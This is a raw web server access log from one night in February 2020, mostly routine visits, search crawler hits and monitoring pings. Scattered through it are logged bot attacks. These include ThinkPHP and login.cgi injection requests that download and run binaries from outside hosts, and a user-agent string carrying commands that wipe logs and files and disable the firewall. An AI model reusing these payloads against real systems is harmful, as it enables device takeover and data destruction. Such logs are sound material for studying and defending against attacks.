188.138.75.88 - - [27/Feb/2020:02:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [27/Feb/2020:02:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
165.22.208.167 - - [27/Feb/2020:02:58:01 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
165.22.208.167 - - [27/Feb/2020:02:58:01 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
165.22.208.167 - - [27/Feb/2020:02:58:01 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
165.22.208.167 - - [27/Feb/2020:02:58:02 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
165.22.208.167 - - [27/Feb/2020:02:58:02 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
165.22.208.167 - - [27/Feb/2020:02:58:02 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
169.197.108.38 - - [27/Feb/2020:02:58:21 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
62.94.231.39 - - [27/Feb/2020:02:59:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
66.249.73.137 - - [27/Feb/2020:03:04:50 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.137 - - [27/Feb/2020:03:04:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
45.169.219.201 - - [27/Feb/2020:03:04:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
163.158.203.125 - - [27/Feb/2020:03:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.12.16.84 - - [27/Feb/2020:03:08:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
93.43.219.6 - - [27/Feb/2020:03:12:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
194.49.127.149 - - [27/Feb/2020:03:15:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
91.199.118.136 - - [27/Feb/2020:03:16:32 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [27/Feb/2020:03:16:32 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [27/Feb/2020:03:16:33 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
193.198.66.62 - - [27/Feb/2020:03:18:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.168.122.195 - - [27/Feb/2020:03:23:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
128.14.140.150 - - [27/Feb/2020:03:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
66.249.65.86 - - [27/Feb/2020:03:25:20 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.86 - - [27/Feb/2020:03:25:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
103.91.130.58 - - [27/Feb/2020:03:28:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
52.20.238.97 - - [27/Feb/2020:03:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
167.172.199.148 - - [27/Feb/2020:03:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
167.172.199.148 - - [27/Feb/2020:03:54:42 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
181.193.107.10 - - [27/Feb/2020:03:55:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
37.195.91.151 - - [27/Feb/2020:03:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.236.10.110 - - [27/Feb/2020:03:57:35 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal.de/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider"
121.180.208.154 - - [27/Feb/2020:04:06:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [27/Feb/2020:04:06:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [27/Feb/2020:04:06:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [27/Feb/2020:04:06:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [27/Feb/2020:04:06:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
134.35.201.96 - - [27/Feb/2020:04:09:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
109.110.168.242 - - [27/Feb/2020:04:10:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
83.198.110.96 - - [27/Feb/2020:04:13:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
198.143.158.178 - - [27/Feb/2020:04:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
184.89.37.210 - - [27/Feb/2020:04:20:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
66.249.73.117 - - [27/Feb/2020:04:35:29 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.119 - - [27/Feb/2020:04:35:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
125.75.1.17 - - [27/Feb/2020:04:37:13 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
125.75.1.17 - - [27/Feb/2020:04:37:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
115.20.222.185 - - [27/Feb/2020:04:40:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [27/Feb/2020:04:40:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [27/Feb/2020:04:40:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [27/Feb/2020:04:40:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
139.162.106.181 - - [27/Feb/2020:04:45:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
181.169.15.51 - - [27/Feb/2020:04:47:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
3.82.196.16 - - [27/Feb/2020:04:51:30 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
121.153.251.105 - - [27/Feb/2020:05:18:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0"
121.153.251.105 - - [27/Feb/2020:05:18:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0"
121.153.251.105 - - [27/Feb/2020:05:18:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0"
211.2.181.197 - - [27/Feb/2020:05:18:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
134.35.201.96 - - [27/Feb/2020:05:21:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
92.83.139.5 - - [27/Feb/2020:05:22:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
60.38.91.183 - - [27/Feb/2020:05:27:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
79.87.248.84 - - [27/Feb/2020:05:36:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
134.35.201.96 - - [27/Feb/2020:05:41:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
71.6.232.9 - - [27/Feb/2020:05:46:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
122.170.14.210 - - [27/Feb/2020:05:47:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.110.78.56 - - [27/Feb/2020:05:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
139.162.106.181 - - [27/Feb/2020:05:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
66.249.73.192 - - [27/Feb/2020:06:06:15 +0100] "GET /robots.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.194 - - [27/Feb/2020:06:06:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
85.99.104.101 - - [27/Feb/2020:06:06:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
99.229.68.23 - - [27/Feb/2020:06:11:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
84.14.109.227 - - [27/Feb/2020:06:14:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
207.180.211.90 - - [27/Feb/2020:06:15:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
187.154.173.161 - - [27/Feb/2020:06:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
66.249.65.114 - - [27/Feb/2020:06:26:02 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.114 - - [27/Feb/2020:06:26:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
82.200.95.98 - - [27/Feb/2020:06:28:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
128.72.138.10 - - [27/Feb/2020:06:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.65.210.120 - - [27/Feb/2020:06:36:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
95.87.29.136 - - [27/Feb/2020:06:37:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.52.228.191 - - [27/Feb/2020:06:41:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
109.111.139.175 - - [27/Feb/2020:06:43:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
211.227.162.19 - - [27/Feb/2020:06:45:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.21.43.84 - - [27/Feb/2020:06:51:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
189.167.18.145 - - [27/Feb/2020:06:59:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:07:00:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:02:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.138.15.216 - - [27/Feb/2020:07:03:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:07:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.75.135 - - [27/Feb/2020:07:05:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.163.75.135 - - [27/Feb/2020:07:05:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [27/Feb/2020:07:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:07:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.1.208.92 - - [27/Feb/2020:07:08:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [27/Feb/2020:07:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:10:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:11:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.37.149.135 - - [27/Feb/2020:07:12:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [27/Feb/2020:07:12:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:13:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.124.202.236 - - [27/Feb/2020:07:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:07:14:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.73.243.161 - - [27/Feb/2020:07:14:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [27/Feb/2020:07:15:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:17:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.227.162.19 - - [27/Feb/2020:07:18:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [27/Feb/2020:07:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:19:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.58.250.188 - - [27/Feb/2020:07:20:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:07:20:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [27/Feb/2020:07:21:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [27/Feb/2020:07:21:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:22:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:23:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:24:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [27/Feb/2020:07:25:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:07:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [27/Feb/2020:07:25:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [27/Feb/2020:07:25:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [27/Feb/2020:07:25:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [27/Feb/2020:07:26:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:07:26:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:28:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:29:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:30:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:31:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
